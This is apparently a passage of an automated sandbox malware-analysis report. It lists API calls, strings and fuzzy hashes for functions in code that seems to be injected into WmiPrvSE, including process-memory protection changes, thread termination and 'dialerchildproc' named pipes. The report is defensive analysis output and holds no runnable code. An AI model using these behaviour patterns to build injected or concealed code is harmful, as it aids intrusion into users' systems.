FlsSetValue.KERNEL32(?,?,?,000002C5CCF80A6B,?,?,?,000002C5CCF8045C,?,?,?,000002C5CCF7C84F), ref: 000002C5CCF7CEBC
SetLastError.KERNEL32 ref: 000002C5CCF7CED7
FlsGetValue.KERNEL32(?,?,?,?,?,?,?,000002C5CCF80A6B,?,?,?,000002C5CCF8045C,?,?,?,000002C5CCF7C84F), ref: 000002C5CCF7CF0D
FlsSetValue.KERNEL32(?,?,00000001,000002C5CCF7ECCC,?,?,?,?,000002C5CCF7BF9F,?,?,?,?,?,000002C5CCF77AB0), ref: 000002C5CCF7CF2C

Part of subcall function 000002C5CCF7D6CC: HeapAlloc.KERNEL32 ref: 000002C5CCF7D721

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002C5CCF80A6B,?,?,?,000002C5CCF8045C,?,?,?,000002C5CCF7C84F), ref: 000002C5CCF7CF54

Part of subcall function 000002C5CCF7D744: HeapFree.KERNEL32 ref: 000002C5CCF7D75A
Part of subcall function 000002C5CCF7D744: GetLastError.KERNEL32 ref: 000002C5CCF7D764

FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002C5CCF80A6B,?,?,?,000002C5CCF8045C,?,?,?,000002C5CCF7C84F), ref: 000002C5CCF7CF65
FlsSetValue.KERNEL32(?,?,?,?,?,?,?,000002C5CCF80A6B,?,?,?,000002C5CCF8045C,?,?,?,000002C5CCF7C84F), ref: 000002C5CCF7CF76

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: Value$ErrorLast$Heap$AllocFree
String ID:
API String ID: 570795689-0
Opcode ID: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction ID: 2b7f8a842b7a6ebadb1d8a27d6926f4929c489240f990933d5aaf002683fab22
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: F8418420B01F6441FE68AF35596DFAD12B25B447F0F254727A8364A6F6EE28F7C19310

Function 000002C5CCF72244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52
filethreadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessIdOfThread.KERNEL32 ref: 000002C5CCF72259
GetCurrentProcessId.KERNEL32 ref: 000002C5CCF72263

Part of subcall function 000002C5CCF71934: OpenProcess.KERNEL32 ref: 000002C5CCF71952
Part of subcall function 000002C5CCF71934: IsWow64Process.KERNEL32 ref: 000002C5CCF71968
Part of subcall function 000002C5CCF71934: CloseHandle.KERNEL32 ref: 000002C5CCF71983

CreateFileW.KERNEL32 ref: 000002C5CCF722BC
WriteFile.KERNEL32 ref: 000002C5CCF722E4
ReadFile.KERNEL32 ref: 000002C5CCF72303
CloseHandle.KERNEL32 ref: 000002C5CCF7230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 000002C5CCF7228C
\\.\pipe\dialerchildproc32, xrefs: 000002C5CCF72293

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: db35b4e239bc3782610f3395e092a8c227b244bc7435a29ee1a29a20cfcd87a7
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: BD213C72614F6083FB10CF25F448B5D67A1F78ABA4F504216EA5906AB8DF3CE2C9CB00

Function 000002C5CCF49944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002C5CCF499A1

Part of subcall function 000002C5CCF4A814: __GetUnwindTryBlock.LIBCMT ref: 000002C5CCF4A857
Part of subcall function 000002C5CCF4A814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002C5CCF4A87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002C5CCF49A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002C5CCF49CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002C5CCF49DDA

Strings

csm, xrefs: 000002C5CCF499BB
csm, xrefs: 000002C5CCF49A9C
csm, xrefs: 000002C5CCF49A22

Memory Dump Source

Source File: 00000003.00000002.3079935051.000002C5CCF40000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002C5CCF40000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf40000_WmiPrvSE.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: f79423f5efdb356f61ca22c1eaac9adf8b64f400f3fd49f40bb90f511ad6cc83
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: C4E19A72604F608AFB60DF65D488B9D77A8F785B88F100156EE8957BAACB34F2D1C704

Function 000002C5CCF7A544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002C5CCF7A5A1

Part of subcall function 000002C5CCF7B414: __GetUnwindTryBlock.LIBCMT ref: 000002C5CCF7B457
Part of subcall function 000002C5CCF7B414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002C5CCF7B47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002C5CCF7A679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002C5CCF7A8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002C5CCF7A9DA

Strings

csm, xrefs: 000002C5CCF7A622
csm, xrefs: 000002C5CCF7A69C
csm, xrefs: 000002C5CCF7A5BB

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 4fbba73395db811a47501f55ac2328287aff0420587bf389b45c72572918b46d
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: B1E18C72600F608AFB649F65D888B9D77B0F745B98F11111AEE8997BA9CB34F2D1C700

Function 000002C5CCF7F394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32 ref: 000002C5CCF7F510
GetProcAddress.KERNEL32 ref: 000002C5CCF7F51C

Strings

api-ms-, xrefs: 000002C5CCF7F45A
ext-ms-, xrefs: 000002C5CCF7F46D

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: 4ae18a58fc57a1d4ab9da43e5b42b8e242448a52315d6b3cd3c23f588679a911
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 5741B222311F2092FA16CF16E80CF5D63A5BB45BA0F5941279D0A8B7A4EE38F6D5C348

Function 000002C5CCF7104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99
memoryregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002C5CCF710B1
RegEnumValueW.ADVAPI32 ref: 000002C5CCF71117
GetProcessHeap.KERNEL32 ref: 000002C5CCF7115A
HeapAlloc.KERNEL32 ref: 000002C5CCF71168
GetProcessHeap.KERNEL32 ref: 000002C5CCF71185
HeapFree.KERNEL32 ref: 000002C5CCF71193

Strings

d, xrefs: 000002C5CCF710D6

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: bce4f37591f0d046750088742367140679f31cbcf041a882e8584ea241ff19c8
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: 12416073214F94C6E760CF21E458B9E77B5F389B98F04811ADA894B768DF78E589CB00

Function 000002C5CCF7D068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000002C5CCF7C7DE,?,?,?,?,?,?,?,?,000002C5CCF7CF9D,?,?,00000001), ref: 000002C5CCF7D087
FlsSetValue.KERNEL32(?,?,?,000002C5CCF7C7DE,?,?,?,?,?,?,?,?,000002C5CCF7CF9D,?,?,00000001), ref: 000002C5CCF7D0A6
FlsSetValue.KERNEL32(?,?,?,000002C5CCF7C7DE,?,?,?,?,?,?,?,?,000002C5CCF7CF9D,?,?,00000001), ref: 000002C5CCF7D0CE
FlsSetValue.KERNEL32(?,?,?,000002C5CCF7C7DE,?,?,?,?,?,?,?,?,000002C5CCF7CF9D,?,?,00000001), ref: 000002C5CCF7D0DF
FlsSetValue.KERNEL32(?,?,?,000002C5CCF7C7DE,?,?,?,?,?,?,?,?,000002C5CCF7CF9D,?,?,00000001), ref: 000002C5CCF7D0F0

Strings

Y%, xrefs: 000002C5CCF7D0A6
1%, xrefs: 000002C5CCF7D0CE

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 6dcc2c00d5c899c6195e62195aebbbb646155c6477655301d1ce9b7b593cc3c1
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: A7119320704F6041FA689F35695DF2D62B15B443F0F545377A839466FEDE69F6C28310

Function 000002C5CCF77510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002C5CCF77538
__scrt_acquire_startup_lock.LIBCMT ref: 000002C5CCF7758A
_RTC_Initialize.LIBCMT ref: 000002C5CCF775B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002C5CCF775DE
__scrt_release_startup_lock.LIBCMT ref: 000002C5CCF77609

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 31f3b0315ec40e49e737950288ac132e5f303b7397ce8086c59fe9f40c635b1b
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: B881B421720F6186FB569F69A84DF9D63F1A745780F14842B9A04877BAEB38FBC5C700

Function 000002C5CCF79DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000002C5CCF79E49
GetLastError.KERNEL32 ref: 000002C5CCF79E57
LoadLibraryExW.KERNEL32 ref: 000002C5CCF79E81
FreeLibrary.KERNEL32 ref: 000002C5CCF79EC7
GetProcAddress.KERNEL32 ref: 000002C5CCF79ED3

Strings

api-ms-, xrefs: 000002C5CCF79E69

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 7e297d6f4a6b1aa693e45b9464983fca3b562608d70e22e5997ab1d10934c94a
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 7131A421212F60D1FE51DF42A408FAD62A4B749BA0F5905269D1D4B7A5DF39F7C58320

Function 000002C5CCF83DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000002C5CCF83DE5
GetLastError.KERNEL32 ref: 000002C5CCF83DF1
CloseHandle.KERNEL32 ref: 000002C5CCF83E09
CreateFileW.KERNEL32 ref: 000002C5CCF83E34
WriteConsoleW.KERNEL32 ref: 000002C5CCF83E53

Strings

CONOUT$, xrefs: 000002C5CCF83E15

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: d013ce7759838e6d493ddaff1bd7c8b7bdf4c51b22c384711443c3c9e56a981a
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 47118B21310F6082F750CF12E858B1D63A0F389FE4F044226EA1A877B4DB78EA888744

Function 000002C5CCF73790 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 44COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002C5CCF7379E
GetCurrentProcess.KERNEL32 ref: 000002C5CCF737CC
VirtualProtectEx.KERNEL32 ref: 000002C5CCF737EE
GetCurrentProcess.KERNEL32 ref: 000002C5CCF73809
VirtualProtectEx.KERNEL32 ref: 000002C5CCF7382A

Strings

wr, xrefs: 000002C5CCF737FF

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID: wr
API String ID: 1092925422-2678910430
Opcode ID: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction ID: 92e21339d870889fb25053310f7068dcd7e9b45668bca24590f74858bae9ecbf
Opcode Fuzzy Hash: d5ed198cecc284837a9554765ab7ffb778fa62629811cf0fe5ebc999f83bf42b
Instruction Fuzzy Hash: 61115B66704F6182FF149F21E408A6D66B4FB89B85F48012ADE89077A5EF3DE6C9C704

Function 000002C5CCF75B30 Relevance: 9.2, APIs: 6, Instructions: 240threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002C5CCF75B6B
GetThreadContext.KERNEL32 ref: 000002C5CCF75CD5

Part of subcall function 000002C5CCF75960: GetCurrentThreadId.KERNEL32 ref: 000002C5CCF75964

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: Thread$Current$Context
String ID:
API String ID: 1666949209-0
Opcode ID: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction ID: 982e24226b5b9e6e8ca29d9436457c8fc1a4942e9bb11f3c76cb3193c923376d
Opcode Fuzzy Hash: 542e600666cb1ac52823d1f72aa5ca11f47e3ee1f4dc73a6c07a176fbafbfe1c
Instruction Fuzzy Hash: 4DD19976218F9881EA719F1AE49475EB7B0F388B84F104117EA8D47BB5DF38E691CB40

Function 000002C5CCF7CFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000002C5CCF7CFAF
FlsSetValue.KERNEL32(?,?,?,000002C5CCF7D6B5,?,?,?,?,000002C5CCF7D778), ref: 000002C5CCF7CFE5
FlsSetValue.KERNEL32(?,?,?,000002C5CCF7D6B5,?,?,?,?,000002C5CCF7D778), ref: 000002C5CCF7D012
FlsSetValue.KERNEL32(?,?,?,000002C5CCF7D6B5,?,?,?,?,000002C5CCF7D778), ref: 000002C5CCF7D023
FlsSetValue.KERNEL32(?,?,?,000002C5CCF7D6B5,?,?,?,?,000002C5CCF7D778), ref: 000002C5CCF7D034
SetLastError.KERNEL32 ref: 000002C5CCF7D04F

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 250332e1950f821c0c2ae0ce47ac5fa3cdc4f9aacd306c61481e39a479d4850d
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 57117F20704F6041FA64AF31995DF6D22B26B857F0F545727A836477FAEE28F6C29310

Function 000002C5CCF7199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000002C5CCF719C2
K32GetModuleFileNameExW.KERNEL32 ref: 000002C5CCF719E0
PathFindFileNameW.SHLWAPI ref: 000002C5CCF719EF
lstrlenW.KERNEL32 ref: 000002C5CCF719FB
StrCpyW.SHLWAPI ref: 000002C5CCF71A0E
CloseHandle.KERNEL32 ref: 000002C5CCF71A1C

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: b58e9cd9ef4100494c92e1d790299311dca8c3a1253c4ac2b8c5f45ac74d4e86
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: FC013521300F5082FA14DF52A84CB5D63A1B789FC4F888036DE4983765DE38EAC98700

Function 000002C5CCF736C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002C5CCF736E4
GetCurrentProcess.KERNEL32 ref: 000002C5CCF736F2
VirtualProtectEx.KERNEL32 ref: 000002C5CCF73714
GetCurrentProcess.KERNEL32 ref: 000002C5CCF73732
VirtualProtectEx.KERNEL32 ref: 000002C5CCF73753
TerminateThread.KERNEL32 ref: 000002C5CCF73762

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: bb30638dd6482a56e062fe6fe78beadb73e1933ed7b64874b7d09c354aecf36f
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 9E01D765616F6086FF249F22E81CB1D62B0BB4AB96F040426C9490B775EF3DF6C98744

Function 000002C5CCF79005 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002C5CCF79013
_IsNonwritableInCurrentImage.LIBCMT ref: 000002C5CCF790A8
RtlUnwindEx.NTDLL ref: 000002C5CCF790F7

Strings

f, xrefs: 000002C5CCF79026
csm, xrefs: 000002C5CCF7908E

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: 6f91de65aeafc2df199cd87f9434427f6d802e0ae104afbe662d9f631a286b1c
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 11515332611F208AFB14DF25E84CF5D27A6F344B98F128526DA16477A8EAB5FB91C700

Function 000002C5CCF78FE8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002C5CCF79013
_IsNonwritableInCurrentImage.LIBCMT ref: 000002C5CCF790A8
RtlUnwindEx.NTDLL ref: 000002C5CCF790F7

Strings

f, xrefs: 000002C5CCF79026
csm, xrefs: 000002C5CCF7908E

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: 8d492a19733989be62eb3583543c6f63e46bd6dfdefac0ef8f94633fcb56cb28
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 65318832210F6086FB14DF26E84CB1D3BA5F340B88F158016AE56077A9DB79FB90C704

Function 000002C5CCF71A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000002C5CCF71A60
StrCmpNIW.SHLWAPI ref: 000002C5CCF71A7A
lstrlenW.KERNEL32 ref: 000002C5CCF71A89
StrCpyW.SHLWAPI ref: 000002C5CCF71A9E

Strings

\\?\, xrefs: 000002C5CCF71A6E

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: 92ad01856b38dfa28b8afd11096c1cfd4304904b69a2ccca3ee56d8315a1879c
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: 3CF03162304F5192FB60CF21E888F5D6760F749B88F948122DA4946665DB2CE7CDCB00

Function 000002C5CCF7BC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002C5CCF7BCBD
GetProcAddress.KERNEL32 ref: 000002C5CCF7BCD3
FreeLibrary.KERNEL32 ref: 000002C5CCF7BCFA

Strings

CorExitProcess, xrefs: 000002C5CCF7BCCC
mscoree.dll, xrefs: 000002C5CCF7BCB4

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 619292cf311e4ecc2ff4dc090908b1fa50ab87fb44025024d9b15cf71cce6539
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 0CF01261311F1581FB14CF24E44DB5D6370EB86761F54421BDA6A452F4DF2DF6C58740

Function 000002C5CCF73044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000002C5CCF73066
StrCpyW.SHLWAPI ref: 000002C5CCF73076
StrCatW.SHLWAPI ref: 000002C5CCF73082
PathCombineW.SHLWAPI ref: 000002C5CCF73090

Strings

\\.\pipe\, xrefs: 000002C5CCF7305C

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 68fcc7013f9a8fa1aace4376be1cabeb95fa17acc11e346d0d212ad1f5a5f98a
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: EBF05824204FA082FA008F52B90C91D6260AB4AFC4F188022EE4A07B28DF28E6C98700

Function 000002C5CCF750D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002C5CCF75156

Memory Dump Source

Source File: 00000003.00000002.3080943393.000002C5CCF70000.00000040.00001000.00020000.00000000.sdmp, Offset: 000002C5CCF70000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_2c5ccf70000_WmiPrvSE.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 6859c7655ca23a3b6a2f6f3590fb5d43b44afa158a06342c9116805e67970e86
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
